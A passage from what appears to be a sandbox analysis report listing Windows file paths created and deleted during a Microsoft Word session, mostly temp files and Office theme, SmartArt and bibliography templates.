  954. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D24.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9ACD.tmp\\Content.inf",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9B6C.tmp\\Content.inf",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D66.tmp",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C86.tmp\\Frame.thmx",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9DA7.tmp",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D46.tmp",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DD8.tmp",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9962.tmp\\Content.inf",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DC7.tmp",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DEA.tmp",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99B4.tmp\\Content.inf",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A08.tmp\\Content.inf",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9DDA.tmp",
  968. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9E7B.tmp",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D35.tmp",
  971. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D67.tmp",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9E2B.tmp",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9EDA.tmp",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DD9.tmp",
  976. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DEB.tmp",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA0C4.tmp",
  979. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983fn=Theme Picture Alternating Accent.glox",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E3B.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  981. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0F7.tmp",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA044.tmp\\HexagonRadial.glox",
  984. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893fn=BracketList.glox",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA004.tmp\\Banded.thmx",
  986. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221fn=harvardanglia2008officeonline.xsl",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E3B.tmp\\Content.inf",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0E6.tmp\\content.inf",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA1A7.tmp",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE4.tmp\\Crop.thmx",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0D6.tmp\\ieee2006officeonline.xsl",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0E6.tmp\\View.thmx",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA044.tmp\\Content.inf",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E8.tmp\\Headlines.thmx",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA075.tmp\\VaryingWidthList.glox",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA1D8.tmp",
  997. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA055.tmp\\pictureorgchart.glox",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA238.tmp\\gosttitle.xsl",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2A8.tmp",
  1001. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA185.tmp\\Element design set.dotx",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA0C5.tmp",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA196.tmp\\Basis.thmx",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B7.tmp\\content.inf",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA366.tmp",
  1007. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA228.tmp\\content.inf",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA117.tmp\\ThemePictureAccent.glox",
  1010. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B7.tmp\\Dividend.thmx",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA185.tmp\\Content.inf",
  1013. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475fn=Frame.thmx",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA346.tmp\\content.inf",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA075.tmp\\Content.inf",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA259.tmp\\Circuit.thmx",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA346.tmp\\Wood_Type.thmx",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA055.tmp\\Content.inf",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA004.tmp\\content.inf",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA228.tmp\\Parallax.thmx",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E8.tmp\\Content.inf",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA238.tmp\\Content.inf",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA117.tmp\\Content.inf",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0D6.tmp\\Content.inf",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE4.tmp\\Content.inf",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA521.tmp",
  1027. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106fn=Badge.thmx",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4DF.tmp\\CircleProcess.glox",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA196.tmp\\content.inf",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA335.tmp\\chicago.xsl",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4DF.tmp\\Content.inf",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA452.tmp\\InterconnectedBlockProcess.glox",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA510.tmp\\Berlin.thmx",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA452.tmp\\Content.inf",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA570.tmp",
  1036. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5EE.tmp\\RadialPictureList.glox",
  1038. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  1039. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA7F4.tmp",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4E0.tmp\\iso690.xsl",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA335.tmp\\Content.inf",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5EE.tmp\\Content.inf",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6AA.tmp\\rings.glox",
  1045. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA709.tmp\\mlaseventheditionofficeonline.xsl",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6AA.tmp\\Content.inf",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4E0.tmp\\Content.inf",
  1049. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8EF.tmp\\Equations.dotx",
  1051. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA510.tmp\\content.inf",
  1053. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  1054. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158fn=Element.dotx",
  1055. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA259.tmp\\content.inf",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA709.tmp\\Content.inf",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8EF.tmp\\Content.inf",
  1059. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103fn=Headlines.thmx",
  1060. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105fn=Crop.thmx",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  1062. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  1063. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
  1064. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  1065. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABB0.tmp\\content.inf",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABB0.tmp\\Quotable.thmx",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABDF.tmp\\content.inf",
  1069. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  1070. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDABDF.tmp\\Droplet.thmx",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAD19.tmp",
  1073. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
  1074. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  1075. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  1077. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAE34.tmp",
  1079. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  1080. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
  1081. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAE24.tmp\\content.inf",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAEB2.tmp\\content.inf",
  1084. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAF4F.tmp",
  1085. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAEB2.tmp\\Metropolitan.thmx",
  1087. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  1088. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503fn=Quotable.thmx",
  1089. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB0B8.tmp",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB117.tmp\\content.inf",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB127.tmp\\TabbedArc.glox",
  1092. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB127.tmp\\Content.inf",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB117.tmp\\Savon.thmx",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB138.tmp\\sist02.xsl",
  1095. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491fn=Metropolitan.thmx",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB1E5.tmp\\Feathered.thmx",
  1097. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB138.tmp\\Content.inf",
  1098. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929fn=Slate.thmx",
  1100. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
  1101. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  1102. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510fn=Savon.thmx",
  1103. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB437.tmp\\content.inf",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB1E5.tmp\\Content.inf",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB467.tmp\\content.inf",
  1107. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB437.tmp\\Main_Event.thmx",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB467.tmp\\Mesh.thmx",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB533.tmp\\content.inf",
  1110. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB533.tmp\\Vapor_Trail.thmx",
  1111. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E0.tmp\\Insight design set.dotx",
  1113. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927fn=Main Event.thmx",
  1114. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB749.tmp\\content.inf",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E0.tmp\\Content.inf",
  1116. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB749.tmp\\Damask.thmx",
  1117. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
  1118. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
  1119. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937fn=Vapor Trail.thmx",
  1120. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921fn=Damask.thmx",
  1121. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1122. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1123. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS852699C8-C00F-4B66-A19D-9EBA640D770B.tmp"
  1124.  
  1125.  
  1126. * Deleted Files:
  1127. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab66CF.tmp",
  1128. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar66D0.tmp",
  1129. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1130. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1131. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9480.tmp",
  1132. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar94B0.tmp",
  1133. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9500.tmp",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9501.tmp",
  1135. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98D2.tmp",
  1136. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab97B5.tmp",
  1137. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar97D6.tmp",
  1138. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab956F.tmp",
  1139. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9580.tmp",
  1140. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9922.tmp",
  1141. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9962.tmp",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9994.tmp",
  1143. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99B4.tmp",
  1144. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9983.tmp",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9973.tmp",
  1146. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99D6.tmp",
  1147. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99E6.tmp",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99C5.tmp",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A08.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A3A.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A4C.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9ACD.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9B6C.tmp",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9A19.tmp",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9A3B.tmp",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab99E7.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar99E8.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C86.tmp",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9A2A.tmp",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9B3B.tmp",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9AAC.tmp",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E3B.tmp",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9973.tmp\\TabList.glox",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9A5D.tmp",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9994.tmp\\ThemePictureGrid.glox",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9ABC.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F97.tmp",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FD9.tmp",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D25.tmp",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D46.tmp",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DEA.tmp",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9E2B.tmp",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA004.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FE4.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA044.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D24.tmp",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD98D2.tmp\\iso690nmerical.xsl",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D35.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA075.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA055.tmp",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99D6.tmp\\ThemePictureAlternatingAccent.glox",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99E6.tmp\\gb.xsl",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0D6.tmp",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9034.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0E6.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA117.tmp",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A3A.tmp\\BracketList.glox",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9922.tmp\\harvardanglia2008officeonline.xsl",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9011.tmp",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FC8.tmp",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\cab910A.tmp",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA185.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D66.tmp",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F86.tmp",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D67.tmp",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA196.tmp",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9E7B.tmp",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9EDA.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1E8.tmp",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA1B7.tmp",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA238.tmp",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DC7.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA228.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA259.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DD9.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A4C.tmp\\PictureFrame.glox",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA1A7.tmp",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9983.tmp\\chevronaccent.glox",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA1D8.tmp",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA8.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA346.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA335.tmp",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99C5.tmp\\ConvergingText.glox",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9A08.tmp\\turabian.xsl",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\cab907B.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9C86.tmp\\Frame.thmx",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FFD.tmp",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9DD8.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92F5.tmp",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9DEB.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9033.tmp",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA452.tmp",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4E0.tmp",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA510.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD99B4.tmp\\Badge.thmx",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94B1.tmp",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA0C4.tmp",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA0C5.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA5EE.tmp",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA6AA.tmp",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0D6.tmp\\ieee2006officeonline.xsl",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FFE.tmp",
